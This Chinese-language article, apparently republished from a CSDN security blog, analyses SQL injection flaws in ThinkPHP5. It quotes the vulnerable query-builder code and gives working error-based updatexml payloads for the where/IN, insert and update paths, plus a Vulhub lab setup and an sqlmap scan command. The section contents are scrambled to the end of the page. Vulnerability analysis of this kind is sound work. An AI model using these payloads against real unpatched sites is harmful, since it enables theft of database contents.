您的位置:首页 > 教育 > 培训 > 电商系统功能模块_合肥网络公司十大排名_哪些平台可以打小广告_网页模板代码

电商系统功能模块_合肥网络公司十大排名_哪些平台可以打小广告_网页模板代码

2025/4/22 20:25:46 来源:https://blog.csdn.net/zhongyuekang820/article/details/147401079  浏览:    关键词:电商系统功能模块_合肥网络公司十大排名_哪些平台可以打小广告_网页模板代码
电商系统功能模块_合肥网络公司十大排名_哪些平台可以打小广告_网页模板代码

ThinkPHP5 的 SQL 注入漏洞(常被安全社区称为 ThinkPHP5 SQL5 注入漏洞)是 ThinkPHP5 框架中一系列因设计缺陷导致的安全问题,主要影响早期版本。

一、漏洞背景

ThinkPHP5 的 SQL 注入漏洞主要源于框架对用户输入数据的处理不当,尤其是在 数据库查询构造器 中未严格过滤用户可控参数。该漏洞影响以下版本:

攻击者可利用漏洞构造恶意 SQL 语句,绕过预编译机制,直接操作数据库,导致数据泄露、篡改甚至服务器沦陷。

二、漏洞核心原理

1. 查询构造器的参数解析缺陷

ThinkPHP5 的查询构造器(Query 类)在处理用户输入时,未对 数组键名 和 操作符 进行严格过滤。例如:

2. PDO 预处理机制的绕过

ThinkPHP5 默认使用 PDO 预编译 SQL 语句,但以下配置会导致预处理失效:

// 配置项:关闭模拟预处理(非默认)
'params' => [
    PDO::ATTR_EMULATE_PREPARES => false,
]

当 PDO::ATTR_EMULATE_PREPARES 设置为 false 时,预编译过程会直接解析 SQL 语句中的动态内容,导致攻击者可通过报错注入(如 updatexml)在预编译阶段触发 SQL 执行。

 

三、典型攻击场景与利用方式

场景 1:insert 方法注入

场景 2:where 子句的 IN 操作符注入

场景 3:update 方法注入

四、漏洞利用条件

 

五、漏洞修复方案

1. 官方补丁升级

2. 代码层修复

3. 数据库安全加固

六、漏洞验证与测试

1. 本地复现环境

2. 自动化检测工具

 

七、总结

ThinkPHP5 的 SQL 注入漏洞暴露了框架在 数据过滤 和 预编译机制 上的设计缺陷。开发人员需注意:

 

运行环境:

docker-compose up -d

启动后,访问http://192.168.23.230/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。

ThinkPHP5中多个SQL注入漏洞的源代码分析及触发原理,涵盖不同版本和场景的典型案例:

1. Builder::parseData方法注入(INSERT操作)

影响版本:5.0.13 ≤ ThinkPHP ≤ 5.0.15,5.1.0 ≤ ThinkPHP ≤ 5.1.5

漏洞代码

// thinkphp/library/think/db/Builder.php
protected function parseData($data, $options) {
    if (is_array($data)) {
        foreach ($data as $key => $val) {
            if (is_array($val)) {
                switch ($val[0]) {
                    case 'inc':
                        $result[] = $this->parseKey($key) . '=' . $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;
                    case 'exp':
                        $result[] = $this->parseKey($key) . '=' . $val[1];
                        break; // 直接拼接用户输入
                }
            }
        }
    }
    return implode(',', $result);
}

触发条件

 

2. Builder::parseArrayData方法注入(UPDATE操作)

影响版本:5.1.6 ≤ ThinkPHP ≤ 5.1.7

漏洞代码

// thinkphp/library/think/db/Builder.php(已删除)
protected function parseArrayData($data, $fields) {
    $result = [];
    foreach ($data as $key => $val) {
        $item = $this->parseKey($key);
        if (is_array($val)) {
            $result[] = $item . ' = ' . $val[0] . '(\'' . $val[1] . '\')'; // 直接拼接用户输入
        }
    }
    return $result;
}

触发条件

 

3. Builder::parseWhereItem方法注入(SELECT操作)

影响版本:全版本ThinkPHP5

漏洞代码

// thinkphp/library/think/db/Builder.php
protected function parseWhereItem($field, $val) {
    if ($val[1] === 'exp') {
        return $field . ' ' . $val[0] . ' ' . $val[2]; // 直接拼接表达式
    }
}

触发条件

4. Query::select方法参数注入

影响版本:全版本ThinkPHP5

漏洞代码

// thinkphp/library/think/db/Query.php
public function select($data = null) {
    $options = $this->parseExpress();
    $sql = $this->builder->select($options); // 依赖Builder的拼接逻辑
    return $this->query($sql, $data);
}

触发条件

修复方案

总结

ThinkPHP5的SQL注入漏洞多源于数据拼接时未严格过滤用户输入,涉及insertupdateselect等核心方法。开发者应避免直接使用未经验证的外部参数,并升级至安全版本(如5.0.16+或5.1.8+)。如需完整代码示例或环境搭建步骤,可参考相关漏洞分析报告136

1,首先验证漏洞存在

?ids[]=1&ids[]=2

?ids[0,updatexml(0,concat(0xa,user()),0)]=1

会被 PHP 解释为:

$_GET = [
    'ids' => [
        '0,updatexml(0,concat(0xa,user()),0)' => 1
    ]
];

也就是:$_GET['ids'] 是一个数组,key 为 '0,updatexml(0,concat(0xa,user()),0)'

ThinkPHP 参数解析逻辑

ThinkPHP5 支持将数组直接传入 where() 方法,如:

Db::name('user')->where($_GET['ids'])->select();

如果传入了:

[
  "0,updatexml(0,concat(0xa,user()),0)" => 1
]

框架内部在解析 key 时,会尝试将其拆分成 SQL 字段和表达式。ThinkPHP5 内部源码类似如下逻辑:

list($field, $exp) = explode(',', $key, 2);
$whereStr = "$field = $exp";

所以:

$field = "0"
$exp = "updatexml(0,concat(0xa,user()),0)"

最终生成 SQL:

WHERE 0 = updatexml(0,concat(0xa,user()),0)

这是一个报错注入语句,updatexml() 是 MySQL 中常见的报错函数,用于将数据输出到错误信息中。

实际执行效果

如果数据库用户具有查询权限,执行:

SELECT * FROM user WHERE 0 = updatexml(0,concat(0xa,user()),0)

将会触发 SQL 错误:

XPATH syntax error: '~root@localhost~'

攻击者就能从错误信息中读出当前数据库用户名。

在配置文件处成功得到数据库敏感信息

 

  • 参数转义:在拼接前使用escapeString处理用户输入(如parseData修复中新增转义逻辑)1
  • 删除高危方法:官方删除parseArrayData方法以消除隐患38
  • 禁用调试模式:关闭app_debugapp_trace,避免泄露数据库信息46
  • 通过select方法直接拼接用户输入,例如ids[0,updatexml(0,concat(0xa,user()),0)]=1
  • 参数未过滤导致恶意语法注入至SQL语句24
  • 使用where方法的exp操作符,如where('username', 'exp', $_GET['username'])
  • 用户输入如) union select updatexml(1,concat(0x7,user(),0x7e),1)#直接拼接到WHERE条件中,绕过预编译567
  • 通过update方法传入数组参数,如username[0]=point&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)
  • parseArrayData未对$val[0]$val[1]进行转义,导致恶意函数调用被注入38
  • 用户通过insert方法传入数组参数,如$username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)
  • parseData未对$val[1]进行过滤,导致恶意SQL片段直接拼接至语句中18
  • 及时更新框架版本,避免使用存在已知漏洞的旧版本。
  • 对所有用户输入进行严格的类型和格式校验。
  • 遵循最小权限原则,限制数据库账号权限
  • 使用 SQLMap 检测漏洞:
    sqlmap -u "
    http://target.com/index.php?ids=1" --batch --risk=3
  • 使用 Docker 快速搭建漏洞环境(推荐 Vulhub):
    git clone
    https://github.com/vulhub/vulhub.git
    cd vulhub/thinkphp/5-in-sqlinjection
    docker-compose up -d
  • 访问 http://localhost:8080?ids[0,updatexml(...)]=1 验证漏洞。
  • 配置 PDO::ATTR_EMULATE_PREPARES = true,强制使用模拟预处理。
  • 限制数据库账号权限,避免使用 root 账号。
  • 输入过滤:对用户输入的数组键名和值进行白名单校验。
    // 示例:过滤非预期操作符
    $allowOperators = ['eq', 'neq', 'gt', 'egt'];
    if (!in_array($operator, $allowOperators)) {
        throw new Exception('Invalid operator');
    }
  • 禁用危险配置:生产环境关闭调试模式:
    app_debug = false
    app_trace = false
  • 升级至 ThinkPHP 5.0.16+ 或 5.1.8+,官方修复了以下问题:
  • 对 incdecexp 操作符的输入进行严格过滤。
  • 移除 parseArrayData 方法,避免数组参数解析漏洞。
  • 补丁地址:ThinkPHP GitHub Releases
  • 版本范围:需处于受影响版本内(如 5.0.0~5.0.15)。
  • 调试模式开启app_debug=true 和 app_trace=true,否则无法通过报错回显获取数据。
  • 数据库类型:需使用 MySQL,且 PDO 配置允许直接执行动态 SQL。
  • 漏洞触发点Mysql::parseArrayData 方法。
  • 攻击原理:利用 point 等特殊操作符构造闭合 SQL 语句。
    // 示例代码
    Db::name('user')->where('id', 1)->update(['username' => $_GET['username']]);
  • Payload 示例
    ?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7e,user(),0x7e),1)^&username[3]=0

    效果:通过位运算绕过过滤,触发报错注入。
  • 漏洞触发点Builder::parseWhereItem 方法。
  • 攻击原理:通过控制 IN 操作的数组键名,插入恶意 SQL 片段。
    // 示例代码
    $ids = input('ids');
    Db::name('user')->where('id', 'in', $ids)->select();
  • Payload 示例
    ?ids[0,updatexml(0,concat(0x7e,version()),0)]=1

    效果:在预编译阶段触发报错,泄露数据库版本信息。
  • 漏洞触发点Builder::parseData 方法。
  • 攻击原理:通过传递数组参数,利用 inc 或 exp 操作符注入恶意 SQL 代码。
    // 示例代码
    $user = new User();
    $user->save([
        'username' => ['inc', $_GET['payload']]
    ]);
  • Payload 示例
    ?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

    效果:触发数据库报错,泄露当前用户信息(如 root@localhost)。
  • 当使用 where('id', 'in', $ids) 时,若 $ids 是用户可控的数组参数,攻击者可通过构造键名插入恶意 SQL 片段。
  • 在 insert 或 update 方法中,通过数组参数触发 incexp 等操作符的未过滤逻辑。
  • 5.0.0 ≤ ThinkPHP ≤ 5.0.15
  • 5.1.0 ≤ ThinkPHP ≤ 5.1.7
  • 部分 5.x 分支版本

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com